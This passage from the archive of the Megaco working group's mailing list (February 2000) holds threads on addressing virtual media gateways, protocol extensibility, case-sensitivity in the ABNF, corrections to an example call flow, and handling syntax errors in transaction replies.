          <0.341F8B70@standards.nortelnetworks.com>; Mon, 14 Feb 2000 19:03:39
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          QAA09069; Mon, 14 Feb 2000 16:06:17 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000214120038.00ab0b50@localhost>
Date:         Mon, 14 Feb 2000 12:02:24 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Virtual MGs
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

I think I agree.

Most protocols I've worked with lately specify that a response (Ack) to a
message always goes to the source IP address/port.  This comes in handy
when multihomed hosts are used.
RFC1022 discusses some of these issues.

Chip

At 05:16 PM 2/12/00 -0500, Tom-PT Taylor wrote:
>I'll be rash and say that the default ports apply only on the MGC side.  The
>MGC has to send responses back to where the requests came from.  Your point
>is valid to the extent that we should add text saying that a virtual MG MUST
>set the ServiceChangeMgcId when registering with UDP/ALF, but maybe that
>isn't even necessary.  (Have to check 7.2.8 and other sections.)
>
> > -----Original Message-----
> > From: Rupsis, Paul [SMTP:Paul.Rupsis@DIALOGIC.COM]
> > Sent: Friday, February 11, 2000 4:42 PM
> > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject:      Virtual MGs
> >
> > I would like to ask for clarification on addressing
> > Virtual MGs. The attached thread indicates that
> > multiple ports would be needed when using IP
> > transport.
> >
> > In addition, Section 11.1 states "A physical MG may
> > have only one network interface, which must be shared
> > across virtual MGs."
> >
> > Given that only 1 port has been reserved for
> > Megaco (2944 for text-based protocol), how can multiple
> > virtual MGs be addressed? Or do I assume that v1 of Megaco
> > supports N Virtual MGs (N=1)?
> >
> > Thanks,
> >
> > Paul Rupsis
> > Dialogic, an Intel Company
> >
> >
> >
> > -----Original Message-----
> > From: Brian Rosen [mailto:brosen@ENG.FORE.COM]
> > Sent: Thursday, November 04, 1999 4:14 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: MG-MGC control interface
> >
> >
> > You would have a separate port for each association.
> >
> > The thing now called ServiceChangeAddress would specify it
> > if necessary.
> >
> > > -----Original Message-----
> > > From: Petros N. Mouchtaris [mailto:pmouchta@TELCORDIA.COM]
> > > Sent: Thursday, November 04, 1999 9:27 AM
> > > To: MEGACO@standards.nortelnetworks.com
> > > Subject: Re: MG-MGC control interface
> > >
> > >
> > > Brian,
> > > The previous answer you gave (mId) could work but it would
> > > not be pretty.
> > > The new answer you are giving would work too but it will not
> > > be pretty either.
> > >
> > > How will the MGC and MG know which port corresponds to which MG?
> > > Are you planning to reserve more than one well known port for
> > > the protocol?
> > >
> > > Petros
> > >
> > >
> > >
> > >
> > >
> > > Brian Rosen  on 11/03/99 08:17:11 PM
> > >
> > > Please respond to Brian Rosen 
> > >
> > > To:   MEGACO@standards.nortelnetworks.com
> > > cc:    (bcc: Petros N. Mouchtaris/Telcordia)
> > > Subject:  Re: MG-MGC control interface
> > >
> > >
> > >
> > >
> > > Sorry I confused you.  You are correct. I must have been
> > > asleep; this issue
> > > was raised and answered before.
> > >
> > > The transport differentiates the streams.  Using IP
> > > transport, for example,
> > > each flow is on a different port.  Using ATM transport with
> > > SSCOP, each
> > > stream is a different VC.
> > >
> > > Brian
> > >
> > >
> > > > -----Original Message-----
> > > > From: Giuseppe Ricagni [mailto:giuseppe.ricagni@italtel.it]
> > > > Sent: Wednesday, November 03, 1999 10:31 AM
> > > > To: Brian Rosen
> > > > Cc: MEGACO@standards.nortelnetworks.com
> > > > Subject: Re: MG-MGC control interface
> > > >
> > > >
> > > > Sorry Brian, but now I' m confused too.
> > > >
> > > > Brian Rosen wrote:
> > > >
> > > > > > By the way, how does a virtual MG know that a message coming
> > > > > > from the MGC is
> > > > > > destined
> > > > > > for this virtual MG? I assume that messages to all virtual
> > > > > > MGs in the same
> > > > > > physical MG go to the
> > > > > > same IP address. The MGC IP address can be used as a way to
> > > > > > route messages to
> > > > > > the right
> > > > > > virtual MG provided that the list of MGC for each virtual MG
> > > > > > are mutually
> > > > > > exclusive.
> > > > > Actually it's more complicated than that, since, at least in
> > > > > theory, the same MGC could control multiple virtual MGs on
> > > > the same physical
> > > > > MG.
> > > > >
> > > > > The answer is that the mId of the message would be unique
> > > > for each virtual
> > > > > MG.  That implies you have something like
> > > > > aliases in your DNS.
> > > > >
> > > >
> > > > In section 8.3 I read "Messages have a header, which includes
> > > > the identity of
> > > > the sender. The Message Identifier (MID) of a message is set
> > > > to a provisioned
> > > > name (e.g. domain address/domain name/device name) of the
> > > > entity transmitting
> > > > the message."
> > > >
> > > > The mId identifies the sender' s (MGC) name, and not the
> > > > target name (MG),
> > > > doesn' t it ?
> > > > Do we assume that we need multiple "virtual MGCs" to cater
> > > > for virtual MGs ?
> > > >
> > > >
> > > > Best Regards
> > > > Giuseppe Ricagni
> > > >
> > > >
> > > >
> > > > --
> > > > ----------------------------------------------------------
> > > > Giuseppe RICAGNI
> > > > System Architecture and Product Planning
> > > > Broadband Networks
> > > > Italtel
> > > > via Reiss Romoli - C10
> > > > 20019 Castelletto di Settimo Milanese (MILANO)
> > > > ITALY
> > > >
> > > > mailto:giuseppe@ricagni.it
> > > > ----------------------------------------------------------
> > > >
> > > >
> > > >
> > >

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 19:11:51 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27186
	for ; Mon, 14 Feb 2000 19:11:51 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EB743910@standards.nortelnetworks.com>; Mon, 14 Feb 2000 19:08:47 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 47183 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 19:08:43 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.E8C0D8E0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 19:08:42
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          QAA09001; Mon, 14 Feb 2000 16:06:06 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000214115330.00ad6490@localhost>
Date:         Mon, 14 Feb 2000 11:57:49 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Megaco Extensions
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  

I may have just posted this, but I don't know if it got out.

It is true that packages can extend parameters, events and signals for a
termination,
but packages do nothing for extending the base protocol operation.  For
example, in v2,
can we add the following in a backward-compatible fashion:
      command
      context attribute
      descriptor
      Descriptor modifier or action (e.g., like KeepAlive)
      etc.

Therefore, the closure of this issue should not be confused with the
extension of the protocol in V2.
I anticipate that there will be changes to the protocol based on
implementation and deployment experience
and it would be a shame to get locked into a kludgy workaround because we
did not allow backward compatible
syntax.

Thanks,
Chip

At 09:11 PM 1/26/00 -0500, Tom-PT Taylor wrote:
>The primary form of extension of the protocol is through packages.  Auditing
>of packages is a separate issue.  It is also possible to have extensions on
>modem types and MUX types, and as parameters in ServiceChange.
>AuditCapability should pick up the modem and MUX type extensions.  There is
>no point in auditing ServiceChange extensions, since ServiceChange precedes
>any audits.
>
>Conclusion: issued closed except for packages.
>
>                     From:         Chip Sharp 
>                     Subject:      Auditing
>                     Content-Type: text/plain; charset="us-ascii";
>format=flowed
>
>                     Section:        7.1.12, table
>                     Category:       Technical
>                     Issue:          The draft text lists "Extensions" as
>auditable items,
>                     however the rest of the draft recommendation does not
>define how auditing
>                     of extensions is performed.
>                     Proposal:       It is recommend, that the example API
>and the protocol
>                     syntax are extended to include auditing of extensions.
>
>                     v13 Status:     The new draft has removed extensions
>from the table.   The
>                     implications are there are no extensions to descriptors
>allowed in the new
>                     draft, only extensions to parameters(?).  Also, there is
>no way to audit
>                     for extensions.
>
>Tom Taylor
>Advisor -- IPConnect Standards
>E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
>Phone and FAX: +1 613 736 0961

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 19:22:58 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27057
	for ; Mon, 14 Feb 2000 19:08:05 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5A10ADF0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 19:04:43 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 47135 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 19:03:44 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.37135000@standards.nortelnetworks.com>; Mon, 14 Feb 2000 19:03:44
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          QAA09098; Mon, 14 Feb 2000 16:06:22 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: <4.2.2.20000211113842.00a9ad30@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000214120314.00aacc70@localhost>
Date:         Mon, 14 Feb 2000 17:24:04 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Case-sensitive - Was: Hex versus Decimal Numbers
X-To:         Abdallah Rayhan 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38A472D4.D4B9DD10@americasm01.nt.com>

RFC contains the following text:

" NOTE:     Rule names are case-insensitive"

"NOTE:     ABNF strings are case-insensitive and the character set for
these strings is us-ascii."

"To specify a rule which IS case SENSITIVE,  specify the characters
individually.

    For example:

         rulename    =  %d97 %d98 %d99"

This matches "abc" but not "ABC".

Since RFC2234 provides the rules for the syntax in terms of case, there is
really no need to state this in the document.

Chip


At 03:36 PM 2/11/00 -0500, Abdallah Rayhan wrote:
>I believe that the protocol is case-insensitive. That was the intention
>and still is. Is there a place where it differs ? No! quotedString may
>have an exception but I think it should not be the case. We use quotedString
>as a relaxed VALUE that is if VALUE does not allow certain chars
>to be used, then quotedString is the way out. If the protocol uses scripts
>I might change my mind about this but we dont. Hence, it is case-insensitive
>everywhere.
>
>As for "0x", I am not a big fan of it because we can assume the same
>as IP. If we get rid of it then we have to indicate clearly somewhere
>that it is hex. We might as well leave it as is.
>
>
>Abdallah
>
>
>Chip Sharp wrote:
>
> > A question came up on this matter at SG16.
> >
> > I was wondering if the statement on case sensitive applies to things like
> > QuotedStrings.  Are there any other things that are case-sensitive.
> >
> > I notice that "0x" has been added to some of the productions with
> > HexDig.  Is "0x" cases insensitive.   In addition, is the intention that
> > all Hex strings are preceded?
> > In this case, more of these things need to be added.  For example IPv4
> > address uses hex digits, but don't have the "0x".  This should be
> > consistent.  I'm not sure 0x is necessary to mark Hex digits.
> >
> > SG16 would like some clarification on the scope of the statement that the
> > protocol is case-insensitive.  As well as the line that the Identifier is
> > case insensitive.
> >
> > Chip
> >
> > At 05:10 PM 10/29/99 -0400, Brian Rosen wrote:
> > >I believe the intention is that the entire protocol is not case sensitive,
> > >no exceptions.
> > >
> > >Others may disagree.  We surely need to say one way or the other in
> Annex B.
> > >
> > >Brian
> > >
> > > > -----Original Message-----
> > > > From: Al Varney [mailto:varney@lucent.com]
> > > > Sent: Friday, October 29, 1999 4:05 PM
> > > > To: Brian Rosen
> > > > Subject: Case-sensitive - Was: Hex versus Decimal Numbers
> > > >
> > > >
> > > > Brian and Jon Steer,
> > > >
> > > > At 15:14 10/29/1999 -0400, Brian Rosen wrote:
> > > > >I think you are correct, and we should make this change.
> > > >
> > > >     Maybe you two could answer some dumb questions.  MGCP spec
> > > > specifically said (at least for Verbs and Events) that
> > > > text-comparisons
> > > > were case-insensitive.  [ "glinesup/onhook" and "glinesup/OnHook" are
> > > > identical. ]
> > > >
> > > >    Is this the intent in Annex B?  (It's not stated.  If nothing else,
> > > > you could add a note to the NAME definition.)
> > > >
> > > >    The MGCP spec also specifies the case-insensitive treatment on an
> > > > object-by-object basis.  That is, Verbs are noted as case-insensitive
> > > > in one place, Events are noted as case-insensitive in another, etc.
> > > > It's not obvious if EVERYTHING is case-insensitive (URLs,
> > > > Domain Names,
> > > > etc.), or just those objects described that way in the
> > > >
> > > >    So another question (or thought experiment) is:  If I converted any
> > > > text-based command to both all-UPPER-CASE and all-LOWER-CASE (prior to
> > > > parsing), would the resulting commands both work?  If not, which items
> > > > (URLs, parameters to packages, SDP contents, etc.) are allowed to be
> > > > NON-case-insensitive?
> > > >
> > > >    Finally, if some places are case-sensitive, how does one test that
> > > > an implementation isn't case-sensitive in an inappropriate place?
> > > >
> > > >
> > > > Al Varney - Lucent Technologies  +1 630 224-7493    varney@lucent.com
> > > >
> >
> > Support NetAid!  http://www.netaid.org
> > --------------------------------------------------
> > Chip Sharp                 Consulting Engineering
> > Cisco Systems              Telco Bio-region
> > Reality - Love it or Leave it.
> > --------------------------------------------------

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 14 20:25:13 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA28772
	for ; Mon, 14 Feb 2000 20:25:10 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.20ABAEB0@standards.nortelnetworks.com>; Mon, 14 Feb 2000 20:21:51 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 47241 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 14 Feb 2000 20:21:03 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.03C7E660@standards.nortelnetworks.com>; Mon, 14 Feb 2000
          20:21:03 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 14 Feb 2000 19:23:09 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Mon, 14
          Feb 2000 20:22:54 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN9WZG>; Mon, 14 Feb 2000 20:22:53 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7753.2E42C764"
Message-ID:  
Date:         Mon, 14 Feb 2000 20:22:46 -0500
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: Example Call Flow in V13
X-To:         "hsanand@ficon-tech.com" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7753.2E42C764
Content-Type: text/plain

Harpreet, I started to answer this msg a while ago, and just noticed I had
not sent it to the list... thanks for reading the example - my comments are
below.

Nancy
--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Harpreet Singh Anand[SMTP:hsanand@FICON-TECH.COM]
> Sent:         Thursday, January 20, 2000 8:33 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Example Call Flow in V13
>
> Hello Nancy,
>
> I have a few questions  regarding the call flows given in Appendix A (v13
> draft):
>
> 1. In Step 3, a modify command is being sent to MG1 to modify the
> properties of
> the analog termination A444 in the NULL context. In this message, a Local
> Descriptor, which specifies the media that is received on the analog
> termination
> from outside the Media gateway, is being sent. In this Local Descriptor,
> the
> network type is being specified as IN and the protocol as IP4. Similarly,
> the
> transport is being defined as RTP/AVP.
[Nancy]
You are right I believe. In step 3 currently has, for the TDM termination,
           Local {
v=0
c=IN IP4 $
m=audio $ RTP/AVP 0
a=fmtp:PCMU VAD=X-NNVAD ; special voice activity
                        ; detection algorithm
                     }
                 }
            },
Instead, it should be something like this:
Local {
v=0
c=LOCAL LOCAL $
m=audio $ LOCAL 0
a=fmtp:PCMU VAD=X-NNVAD ; special voice activity
                        ; detection algorithm
                     }
                 }
            },



> How can the recive media on the analog termination can have network type
> as IN,
> protocol type IP4 and transport type RTP/AVP ?
>
> 2. In step 8, it has been mentioned that "There is also an embedded event
> to
> stop dialtone upon detection of the first digit. dd is the DTMF Detection
> package, and ce is the completion event."
>
> What is the embedded event which stops the dialtone ? Is it the 'ce' event
> ? It
> can't be the 'ce' event because 'ce' event by definition will be detected
> when
> the full dialled number (that matches the digit map) has been received and
> hence
> the dial tone would be stopped only when the full dialled number has been
> received.
>
[Nancy]
This has been discussed on the list - Signals are stopped unless "KeepAlive"
is set.  In fact the sentence you quote from step 8 should say "Dialtone is
stopped as soon as the first event is detected".

> 3. In step 11, MG1 notifies the dialled string "16135551212". My question
> is how
> does this dialled string satisfies the dial plan: (0S|
> 00S|[1-7]xLxx|8Lxxxxxxx|#xxxxxxx|*xx|9L1xxxxxxxxxx|9L011x.S)
>
You are right. In v14, we changed the dialled string to be 916135551212 .


> Regards,
> Harpreet
>
> _________________________________
> Harpreet Singh Anand
> Ficon Technology
> E-mail :  mailto:hsanand@ficon-tech.com
> Web    :  http://www.ficon-tech.com
>

------_=_NextPart_001_01BF7753.2E42C764
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Example Call Flow in V13




Harpreet, I started =
to answer this msg a while ago, and just noticed I had not sent it to =
the list... thanks for reading the example - my comments are =
below.



Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com



    

    ----------

    From:   =
Harpreet Singh =
Anand[SMTP:hsanand@FICON-TECH.COM]

    Sent:   =
Thursday, January 20, 2000 8:33 =
AM

    To: =
    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: =
       Example Call Flow in V13

    


    Hello Nancy,

    


    I have a few questions  regarding =
the call flows given in Appendix A (v13

    draft):

    


    1. In Step 3, a modify command is =
being sent to MG1 to modify the properties of

    the analog termination A444 in the =
NULL context. In this message, a Local

    Descriptor, which specifies the media =
that is received on the analog termination

    from outside the Media gateway, is =
being sent. In this Local Descriptor, the

    network type is being specified as IN =
and the protocol as IP4. Similarly, the

    transport is being defined as =
RTP/AVP.



[Nancy]

You are right I =
believe. In step 3 currently has, for the TDM termination, 

           Local =
{

v=3D0

c=3DIN IP4 $

m=3Daudio $ RTP/AVP 0

a=3Dfmtp:PCMU VAD=3DX-NNVAD ; special =
voice activity 

           &=
nbsp;            =
; detection algorithm

           &=
nbsp;         }

           &=
nbsp;     }

            =
},

Instead, it should =
be something like this:

Local {

v=3D0

c=3DLOCAL LOCAL =
$

m=3Daudio $ LOCAL 0

a=3Dfmtp:PCMU VAD=3DX-NNVAD ; special =
voice activity 

           &=
nbsp;            =
; detection algorithm

           &=
nbsp;         }

           &=
nbsp;     }

            =
},







    

    How can the recive media on the analog =
termination can have network type as IN,

    protocol type IP4 and transport type =
RTP/AVP ?

    


    2. In step 8, it has been mentioned =
that "There is also an embedded event to

    stop dialtone upon detection of the =
first digit. dd is the DTMF Detection

    package, and ce is the completion =
event."

    


    What is the embedded event which stops =
the dialtone ? Is it the 'ce' event ? It

    can't be the 'ce' event because 'ce' =
event by definition will be detected when

    the full dialled number (that matches =
the digit map) has been received and hence

    the dial tone would be stopped only =
when the full dialled number has been

    received.

    



[Nancy]

This has been =
discussed on the list - Signals are stopped unless =
"KeepAlive" is set.  In fact the sentence you quote from =
step 8 should say "Dialtone is stopped as soon as the first event =
is detected". 


    

    3. In step 11, MG1 notifies the =
dialled string "16135551212". My question is how

    does this dialled string satisfies =
the dial plan: (0S|

    00S|[1-7]xLxx|8Lxxxxxxx|#xxxxxxx|*xx|9L1xxxxxxxxxx|9L011x=
.S)

    



You are right. In =
v14, we changed the dialled string to be 916135551212 .







------_=_NextPart_001_01BF7753.2E42C764--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 15 00:13:33 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06448
	for ; Tue, 15 Feb 2000 00:13:32 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.056D4B70@standards.nortelnetworks.com>; Tue, 15 Feb 2000 0:10:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 47439 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 15 Feb 2000 00:08:17 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.C046A870@standards.nortelnetworks.com>; Tue, 15 Feb 2000 0:08:13
          -0500
Received: from ficon-tech.com (skylab.india.ficon-tech.com [172.25.2.100]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id KAA89153; Tue, 15 Feb 2000
          10:31:19 +0530 (IST) (envelope-from hsanand@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208922@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A8DE1E.4332827A@ficon-tech.com>
Date:         Tue, 15 Feb 2000 10:33:27 +0530
Reply-To: hsanand@ficon-tech.com
Sender: "Media Gateway Control (megaco)"
              
From: Harpreet Singh Anand 
Organization: Ficon Technology
Subject:      Re: Syntax Error handling
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Brian,


> Hmmm, I think you are correct, the reply should never be
> syntactically incorrect.  I think you should get
> Transaction = 123 {
>      Context = 567 {...},            ; valid action
>      Error=xxx
> }

The way ABNF rules are defined, above reply is not valid .

transactionReply     = ReplyToken EQUAL TransactionID LBRKT
                       ( errorDescriptor / actionReplyList ) RBRKT

actionReplyList      = actionReply *(COMMA actionReply )

actionReply          = CtxToken EQUAL ContextID LBRKT
                       ( errorDescriptor / commandReply ) RBRKT

A transaction reply can consist of list of action replies or a SINGLE error
descriptor. Thus there are two ways of indicating "context - level" errors:
a) send a transaction reply having only one error descriptor - this can be sent
say if the parser is not able to parse the first action itself.
b) send an error descriptor within an action reply (as suggested in my mail).

The current ABNF does not allow any mechanism of sending a transaction reply
consisting of action replies and multiple error descriptors ( as suggested by
you).

If the reply as mentioned by you has to be sent, then we need modification in
the ABNF.

Also, what should be the error handling in the case of error in parsing
termination id (point 2 in my mail) ? The problem there is also the same, the
context reply can consist of either a SINGLE error descriptor or multiple
command replies. What we need here is a capability to send multiple error
desciptors along with multiple command replies.

Regards,
Harpreet

>
> We will have to decide what the error should be
>
> Brian
>
> > -----Original Message-----
> > From: Harpreet Singh Anand [mailto:hsanand@ficon-tech.com]
> > Sent: Friday, February 11, 2000 1:39 AM
> > To: MEGACO@standards.nortelnetworks.com
> > Subject: Syntax Error handling
> >
> >
> > Hello all,
> >
> > There are certain issues regarding handling of syntax errors
> > which have been
> > mentioned below:
> >
> > 1. Handling of syntax error in context token / context id.
> >
> > Consider the following transaction:
> >
> > Transaction = 123 {
> >     Context = 567 {...},            ; valid action
> >     Context = abc  {...}             ; invalid action as the
> > context id is not a
> > number
> > }
> >
> > The entity receiving the message will detect the syntax error
> > in the context id.
> > What is the reply that should be sent ?
> > Should it be the following :
> >
> > Reply = 123 {
> >     Context = 567 { .... },
> >        ; reply for
> > the valid command
> >     Context = ??? { Error = 422 {"Error in Context Id"} }
> >      ; error reply
> > for the erroneous action
> > }
> >
> > If yes, then what should be the context id, that gets filled
> > ? Should it be NULL
> > ?
> >
> > Section 8.2.2 has the following text for such a scenario:
> >
> > (a)  " If the receiver encounters an error in processing a
> > ContextID, the
> > requested Action response will consist of the context ID and
> > a single error
> > descriptor, 422 Syntax Error in Action." (5th paragraph after the
> > TransactionReply API)
> >
> > - The invalid context id can not be sent because it is
> > syntactically incorrect
> > (say abcd) and if sent in the reply,  the receiver of the
> > reply would also get a
> > syntax error.
> >
> > - In fact, the above handling (as mentioned in draft) will
> > never get done.
> > Because if the context id is syntactically correct  but does
> > not exist, then the
> > error code 411 (The transaction refers to unknown context),
> > 412 (No contextids
> > available) or 433 (TerminationId is already in Context) would be used.
> > Therefore, the above mentioned handling should never be done.
> >
> > (b) " If the receiver encounters an error such that it cannot
> > determine a legal
> > Action, it will return a TransactionReply consisting of the
> > TransactionID and a
> > single error descriptor, 422 Syntax Error in Action. " (6th
> > paragraph after the
> > TransactionReply API)
> >
> > - If such a thing is done, then it means that the action
> > reply for the valid
> > action request is not being sent. Which should not happen. If
> > an action is
> > valid, then the same should get executed.
> >
> >
> > Similarly, what should happen if the request message is:
> >
> > (a) Transaction = 123 {
> >     Context = 567 {...},            ; valid commands in the context
> >     XYZ     = abc  {...}             ; invalid context token
> > }
> >
> > or
> >
> > (b) Transaction = 123 {
> >     Context = 567 {...},            ; valid commands in the context
> >     Context & abc  {...}             ; = token not found
> > }
> >
> >
> > The reply for these cases should be the same as the one shown
> > above (except for
> > the explanatory string).
> >
> > Reply = 123 {
> >     Context = 567 { .... },
> >        ; reply for
> > the valid command
> >     Context = ??? { Error = 422 {} }          ; error reply
> > for the erroneous
> > action
> > }
> >
> >
> > 2. Syntax Error in Termination Id.
> >
> > Consider the following transaction:
> >
> > Transaction = 123 {
> >     Context = $ {
> >                 Add = A123 {...},     ; valid add command
> >                 Add = ###   { ... }    ; invalid termination id
> >     }
> > }
> >
> > What should be the response. Should it be:
> >
> > Reply = 123 {
> >     Context = 567 {
> >                 Add = A123 {...},     ; valid add command response
> >                 Add = ??? { Error = 442  { "Invalid
> > termination Id" } }   ; what
> > termination id to be filled in reply ??
> >     }
> > }
> >
> >
> > The relevant text in Sec 8.2.2 states:
> >
> > (a) "If the terminationID cannot be reliably determined it
> > will send 442 Syntax
> > Error in Command as the action reply."
> > (8th paragraph)
> >
> > If this approach were to be followed, then all the commands
> > prior to the
> > erroneous command would have to be discarded, even if they
> > have been parsed
> > successfully. Shouldn't the entity try to execute all the
> > commands that have
> > been successfully parsed ???
> >
> >
> > 3. Sec 8.2.2: (6th para, last line): " If the receiver
> > encounters an error such
> > that is cannot determine a legal Transaction, it will return
> > a TransactionReply
> > with a null TransactionID and a single error descriptor (403
> > Syntax Error in
> > Transaction). "
> >
> > Since Null transaction id is used for error replies,
> > therefore, it should be
> > specified in Sec 8.1.1, that null transaction id is reserved.
> >
> >
> > Regards,
> > Harpreet
> >
> > _________________________________
> > Harpreet Singh Anand
> > Ficon Technology
> > E-mail :  mailto:hsanand@ficon-tech.com
> > Web    :  http://www.ficon-tech.com
> >

--

Regards,
Harpreet

_________________________________
Harpreet Singh Anand
Ficon Technology
E-mail :  mailto:hsanand@ficon-tech.com
Web    :  http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 15 04:21:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA21282
	for ; Tue, 15 Feb 2000 04:21:17 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.710AC340@standards.nortelnetworks.com>; Tue, 15 Feb 2000 4:16:33 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 47705 for
